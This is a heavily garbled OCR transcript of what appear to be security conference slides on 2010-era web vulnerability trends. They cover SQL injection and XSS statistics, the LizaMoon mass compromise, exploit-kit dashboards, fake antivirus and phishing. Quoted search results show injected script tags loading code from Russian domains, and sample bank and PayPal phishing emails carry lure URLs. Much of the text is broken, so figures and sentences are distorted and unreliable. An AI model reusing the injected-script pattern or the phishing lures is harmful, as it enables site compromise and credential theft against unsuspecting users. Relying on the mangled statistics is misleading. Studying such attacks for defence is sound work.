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- The trend is leveling

- Better software development practices .;-""*'
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Source: Open Source Vulnerability Database




New Web Vulnerabilities by Type

About half of all new vulnerabilities in 2010 were in web app_!jr%_a%t_ihgns

m Cross Site Scripting
B SQU Injection
® Denial of Service
m Buffer Overflow
m Other
B Remote File Include
Cross Site Request Forgery

Web 2.0, AJAX, Flash, HTML 5 eng

Source: Open Source Vulnerability Database




Web Vulnerability Trends

w
2
;a
(9]
e
Q@
£
=
>
S
(o]
—

2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010

@ Cross Site Scripting @ Cross Site Request Forgery SQL Injection Buffer Overflow @ Remote File Include @ Denial of Service

e #1 Cross-site scriptinig
e #2SQLinjection
e H#3 Denial of Service

Source: Open Source Vulnerability Database
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Yulnerabilities

._Plugin

Yulnerabilities

ALL CMS WORDPRESS JOOMLA DRUPAL

INS

Over 80% for the top 3 CMS applicationgﬂvﬂ";

Source: Open Source Vulnerability Database
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Many unpatched systems remain vulnerable to attacks
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WORDPRESS DRUPAL

10% of Wordpress installations are
vulnerable

90% of Joomla installations are vuInera!ng,-¥=*" '

=

60% of Drupal installations are vulnerable
Source: HP DVLabs




Vulnerability Distribution

CROSS-SITE COMMAND
SCRIPTING EXECUTION

71% had at least one serious vulnerability

49% had at least one critical vulnerability ==~

11% had no vulnerabilities

Source: HP Weblnspect



Vulnerabilities

Source: HP DVLabs, Zero Day Initiative (ZDI)




Attack Trends: Client Side

The bad news...

Filter Hits

Significant increase in attacks during 2010
Peak of 5 million attacks in January

5Xx increase over 12 months

Top attacks: Malicious JavaScript and PHP file-include
Source: HP DVLabs, ThreatLinQ Global Threat Portal




Attack Trends: Server Side

Also bad news...

Filter Hits

e Peak of 23 million attacks in July -- 4x more than client-side

e 4xincrease from December to January

e 3 million PHP Remote File Include attacks inJuly

Source: HP DVLabs, ThreatLinQ Global Threat Portal




Attack Trends: Web vs Legacy

* Percentage of HTTP attacks increase to 70% over 12 months

 Fewer legacy/SMB types of attacks

Source: HP DVLabs, ThreatLinQ Global Threat Portal @
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BREGRAL W Taiwan Specific

GE: 42,021

AM: 189
A 45
i

T KZ: 738
e oL 4
TR: 12,7 @1 i Jan. 1 —Apr. 30,
NE: 23 ' /' 2011

BT: 633

344 346 attacks

y P
»
Y 720,559
KPp ‘, -
I
b |

I"I“"II .

Source: DVLabs Lighthouse
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Appiication

'I 0

| SCADA"
: Politi®ally motivated
0/S Specific Attacks SOL Injection XSS attacks

Amateur  Organized Terrorist, Rival Angry / unethical Outsourced or Unethical
Hacker / Crime Political  Corporation employee or  sub-contracted advertisers
Criminal Activist contactor firm
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Prevalence of Web Vulnerabilities
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Web application vulnerabilities:

— 2/3 of all discovered application vulnerabilities FI\iA“?hci:“Ly
otivate
— 80% come from: PHP File Include, XSS, and SQL P <

Injection attacks

Web Appicaetion Vuinerabilities (% of Total)

3 attack types
make up 80% of

application
vulnerabilities e LI FHPFle Include
B xss
B 501 Inection
I other

2mn a4 o oNnna 2004 205 b1 1] oannr ann8

Yaar
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e
[Bank of America )‘,H igher Standards

Financially

Motivated
Dear BOA Military Bank Customer,
Attacks

This is your official notification fram Ban
deactivated and deleted if not renewed in

: : http://militarybankonline.bankofamerica.com7id-bank-logQ
Contact assigned to this account. As th

ill be deactivated and deleted. id_user23891.krblrice.com.mav.pt/.https:/militarybankonline.banko
<@and Renew Now your BO/ famerica.com Active URL from Portugal Telecom (As of 4:30 AM
If you are not enrolled to Online Banking tOdayl)

and Social Security Number as Passwd

Bankof America

b Military Bank Online

SERVICE : BOA Military Bank Faymen

EXPIRE DATE: December 25, 2006

Welcome to Military Bank Online

Thank you, sincerely, Attention Customers

Recommend our
checking to a

Bank of America emails will never ask you to reply to an email with army
friend and you personal information or data, such as your Social Security numMber or army
can both get $25. other sensitive infarmation.

Eric Wilkinzon, Customer Service

e e N i LEAnRMORSIEY If wou should ever receive an email that appears to be suspicious, simphy
CUST delete it. To report a suspicious emall that uses Bank of America's name,
wou can forward it to securibyic@bankofamerica.com.

View demo | Learn more | Enroll now

First time signing in? Create a password.

Username: | |

Password: | o]

Fargot your passward?
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1. Attacker compromises a
_II\ ' legitimate web site

2. Client visits legitimate site and is
redirected to attacker site

3. Attacker site downloads botnet
trojan to client

2 4. Botnet contacts command and
control for instructions

5. Botnet infects other systems on
network

Attacker

Attack Slt

Web Client

Command &
Control




17 HP 52 ¥ % | : LizaMoon Malware Attacks ﬁpplﬂgpﬂlnf

.ir n ed n h 2 f M r h ' 1 and was name ‘doma l that E
was identified on, lizamoon.com. After approx 1 week, the number of impacted URLs

ranges between the hundreds of thousands and 1.5 million. Latest statistics show at 4
million + URL being compromised.

Victim web host : www.22#3.edu.tw
(host affected by SQL Injection attack)

* Windows Stability Center

Redirected to http://lizamoon.com

i b Intel(R) Core(TM)2 Duo CPU  PS700
intel. @2.536Hz

inside” | Microsoft Windows XP
"ﬁ Main Page

Sean complete

System Securit '
E y Y gk, Privacy

Ecimation o the genes spions of the @ Secuty esimaton of the saved nfrmaton
system safaty .

—— 28% B 0%

Ihr-uﬁ-hﬂ Aie o e i mad b
EL

P riedt

Scan in progress Scan complete: Stan complete

. System Utiities E System Information
|

) Licenseerror! ) o R——

Ve dgploston o the system

Frm C\Doumerts wd Seitwgn peniilndig

Outdated or incorrect lice nmhy!

d ected of the peri d!h icence usage — 29% — 52%
expired. Open the licence manager.

+ | A e ey e

Thi bl s bt 4 50 B e o et 1
° ndide MNU&H\MI’M ]
B o | decale st b 1 0!

ion of the network safety of the

Scan camplete:
\} Update errorl » Media Tools @ nternet Security
s =

http:/ femmicrosoft.com/protect

Windows Stability Center(Fake APP)
23 Foter goes here @
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SQL Injection= £ » i TippingPoint

1,900+ Web Sites Compromised via SQL Injection
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GO L)gle script sre=http-/fwww netr2 ru/script js g | AR

© FEEE O fxEE O $ROTEE O SEMNES

#HF 1,900 755 script sre=http:/fwww.netr2.ru/script.jsf &£ »

%EE$(¢¥ %Iﬂ_ﬁﬁgﬁﬂﬁﬁi_ﬁhft} SFH<script sre=http:/fiwww.netr.
ru/script js=</script> _SEiMERAH. Present, £ HEHiHE » (REEE BB TR ...
/library v2/db_list formal_c.asp - 25k - S EFE - HLES - 1AL+

- Product_kissnature_detail
... src=http:/fwww.loopk.ru/script.js=</script=<script src=http:/fwww. ueurd.
rufscript.js=</script=<script src=http:/fwww.netr2 ru/script. js=</script=<script ...
WWW. com.tw/Product_kissnature_detail.asp?p_rfnbr=1637 - 35k -
ERETFE - SEE - A SRS

- Product_kissnature _detail
4% o OVDIF+FgEEIF+EE A <script sre=http:/fwww loopk.ru/script.
|s=</script=<script .... src=http:/fwww.netr2 ru/script.js=</script=<script ...
woarw [~ .com.tw/Product_kissnature_detail.asp?p_rinbr=1575 - 39k -
ErEfFE - SEE - A ESE
www kissnature com tw B1ECEFHRIEE »

-db list_openAccess
ArtsEdge, A SrElr & <script sre=http/fwww netr2 ru/script js=</script> . P0G, 25 FEE
THETY), MRS A ..
asp20051tw/library_v2/db_list openAccess.asp - 24k - EEETRE - H{EE - N2 SR+

%z&’]rl—‘ EEH kS
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Exploit Toolkits

e Turn-key attack applications are rapidly evolving

Phoenix Exp loit's Kit

Please enter your password

— ]

CANCEL oK




Phoenix Exp[oit's Kit
A — V2.0

Operation systems statistics Advanced browsers statistics Menu

0s Visits Exploited Percent Browser Visits Exploited Percent Simple statistics

Advanced statistics

Windows Vista 6371 957 15.02%  MSIE v8.0 3717 11.76%
Windows P 7135 807 11.31% Firefox v3.5.9 2287 16.66%

_ountries statistics

Feferers statistics

Windows XP SP2 1211 200 16.52% Firefox ¥3.6.3 7400 4.85%
Clear statistics

Other 2135 : 1.19% MSIE v7.0 1840 16.2%

Upload .exe

Windows 7 0.31% Firefox ¥3.0.19 23.71% Exit

Windows 2000 = 10.53% MSIE v6.0 20.37 %
Windows 2003 &) 16.67%  Chrome 5.49%
Windows 2 33.33%  Other ' 16.67 %
Linu 0% Firefox ¥3.5.7 12.5%
Windows 98 3 0% Firefox v3.5.8 108 14.81%
Windows ME 0% Firefox v3.6 264 5.68%
Windows NT 4 0% 103 14.56 %

Eirefiw w3 0 15 3g 5 gog
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¢« InfowWorld

Backto article  [=), Print this

Russian gov't not behind Estonia DDOS attacks

Analysis throws doubt on whether a single agency alone was involved

By Jeremy KIrkK, IDG News Service

June 01, 2007

From alleged poisonings to arganized crime, Russia has been getting a 1ot of bad press lately. But this time the country -- or at least, the government -- may be in the clear.

The string of crippling DDOS (distributed denial-of-sermvice) attacks against Estonia didn't appearto be 3 coordinated attack by one enlibcde Ecia, wrote Jose Mazario, senior security

Estonia, a former satelllte ofthe Soviet Linion with a pupulatmn of 1.3 m|II|Dn came under N mmercial and government Weh sites. The

Although Russia was quickly accused, RUssizbg me R (o SUspicions than facts.
Hut turther analysis throws do 10 wrote.

While it is possible to spoof thd to Tallin," Estonia's capital, Wazario

wirote,
YWhile the Russian government an-speaking computer gurus may have joined in.

iy others to rig their computers to join in a DDOS attack, which involves sending massive streams of data
plter to send data to a Weh site.

Several Russian-language Weh
to aWwebh site, causing itto crash.

"fWe see signs of Russian nationa atwark here, hut no Russian government cannection," Mazario wrote.
This week has been fairly guiet, said Hillar Aarelaid, chief security officer for Estonia's Computer Emergency Response Team.

"iWe have seen some attacks, but they are quite easy to handle," Aarelaid said, adding the DDOS attacks rermain under investination.
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"J Amazon.com Associates Central - Links & Banners - Mozilla Firefox

File  Edit Wiew History Bookmarks  Tools  Help
G - c ik, ﬂalhttps:,l',l'aFFiIiate-program.amazun.c0m,l'gpIl'ass0ciates,l'netw0rk,l'huild-links,l'textll'get-html.html': “.? - ' | ;- -
@ Most Yisited " Getting Started (54| Latest Headlines |5 | TippingPoint Blog (5. | MilagoR esidents, com
2 amazon.com Associates Central ... ﬁ |j Zern Day Initiative b
Account Settings | Help | Feedback | Select Locale: | United States A
amazon
m Links & Banners Widgets astore Reports Developer Tools
Signed in as sign out e
hackingexpo04-20 Horne = Links & Banners »
Tracking ID rmanage @
hackingexpo04-20 GET HTML
Get HTML
Links & Banners Text Link
Product Links Directions: Highlight and copy the HTML code belaw, then paste it into the code for vour Weh
Banner Links site.
Link to &ny Page at Preview test i
Amazon.com
. ) HTML
Quick Linker
. <& href="http://vww.amazon.com/h?35Fencoding=UTFS&site-redirect=x
Link Checker node=86stag=hackingexpol4-20&linkCode=urs soamp=1789 &
creative=9325"»test</ar<img src="http://Wrv.assoc—amazon. com
jfefir?t=hackingexpol4-Z0&l=urz&o=1" width="1" height="1" horder="0"
Stay Connected alt="" stvyle="horder:none 'important; margin:0px 'important:™ £»
» Discussion Boards
[ . SR & 1 Z
A3 2
X Find: q'r Mt f Previous & Highlight all [] Match case ﬂ Phrase not Found
33 Done affiliate-program.amazon.com '}
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Settings Cuarantined It Ignore list

Softerore from your P!

System Status:
Eaﬂ updaled: 1.9.3337.776

Version: 11.3.6
Total no. of scans: 0
Last scan tima and resull <Mo scans >

gj Reset Statistics gg Register How!

Utilities:

B Ve G Nomager™

B idtRenor

-

Scheduler

MalwareRemoval

SPYWARE, ADWARE & VIRUSES

Quick Links

Quarantined List

Hanore List

L Lipclates
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Easy Spyware - Ep!,.rRlcl | InfEEtﬁp wWinIFixer
Cleaner

e | — e —_—

Advanced XP Advanced XP Malware Antivirus XP
Defender Fixer Protector 2008 2008
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TRARE®IC CONVERTER

Contest: My Lexus. Results

VIP points contest finished.

Show webmasters...

Hide webmasters...

Winner:
1 Webmaster 710
433
2  Webmaster 673
3  Webmaster 585
4  y-seo-deneg-net 556
5

Webmaster 540

Hide webmasters...

1 Webmaster 466

2 napster 407

Winnare-
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e 2009% - ¥ F X & RRERBE - BEP LT EPF E &
PR

° HHRFMI6A Y %7 180F @& * FA I Flie B L EY
F A ST

° P& Al A Dp R A A | AT EE % £39.6
cents,» A3 A:gl6* 2% £ ¢ 415 $172,000 ($10,800/a
day).

e M X B F A 5%t 5 T%12%2 ’F,» JJ’}K*" P 128
6F A F|21F6F X FH (7 ta‘.\.

- Source: Finjan Cybercrime report
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Affiliate ID | Affiliate Username |Account Balance (USD)
4928 nenastniy $158,565.86
=6 krab $105,955.76
z rstwm $95,021.16
4748 newforis $93,260.64
5016 slyers $85,220.22
3664 ultra $82,174 .54
3750 cosmazk $76,6824 .88
5050 dpizz $75,631.26
3886 larthevip $61,552.63
4048 dp3z $55,160.20
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201072006 04:35 bce
Please respond to - PayPal Account
“PayPal” Subject i
=genice@paypal.com=

T raceos mopes onine 1 AHTTPS
2. %P FURL ey —this
iIs NOT PayPal!

Security Center Advisory!

We recently noticed one or more attempts to log in to your
PayPal account from a foreign IP address and we have
reasons to belive that your account was hijacked by a third
party without your authorization. If vou recently accessed
your account while traveling, the unusual log in attempts
may have been initiated by vou.

If vou are the rightful holder of the account yo ust click
the link below and then complete all steps
following page as we try to verify yvour |

Click here to verify yedr account

7([ hitp://64.86.225.18/) ./ paypal-sk /update-paypal fcgibin/secure AoginAogin Html
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